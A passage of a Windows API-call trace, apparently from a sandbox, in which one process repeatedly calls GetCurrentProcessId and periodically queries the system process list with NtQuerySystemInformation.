GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.889] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.890] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.891] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.892] GetCurrentProcessId () returned 0xbf4 [0263.893] GetCurrentProcessId () returned 0xbf4 [0263.893] GetCurrentProcessId () returned 0xbf4 [0263.893] GetCurrentProcessId () returned 0xbf4 [0263.893] GetCurrentProcessId () returned 0xbf4 [0263.893] GetCurrentProcessId () returned 0xbf4 [0263.893] GetCurrentProcessId () returned 0xbf4 [0263.893] GetCurrentProcessId () returned 0xbf4 [0264.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0264.491] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.492] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.493] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0264.494] GetCurrentProcessId () returned 0xbf4 [0265.091] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c9a0) returned 0x0 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.094] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.095] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.096] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.097] GetCurrentProcessId () returned 0xbf4 [0265.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c9a0) returned 0x0 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.776] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.777] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.778] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.779] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0265.780] GetCurrentProcessId () returned 0xbf4 [0266.355] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c9a0) returned 0x0 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.450] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.451] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.452] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.453] GetCurrentProcessId () returned 0xbf4 [0266.454] GetCurrentProcessId () returned 0xbf4 [0266.454] GetCurrentProcessId () returned 0xbf4 [0266.454] GetCurrentProcessId () returned 0xbf4 [0266.454] GetCurrentProcessId () returned 0xbf4 [0266.454] GetCurrentProcessId () returned 0xbf4 [0266.454] GetCurrentProcessId () returned 0xbf4 [0266.454] GetCurrentProcessId () returned 0xbf4 [0266.454] GetCurrentProcessId () returned 0xbf4 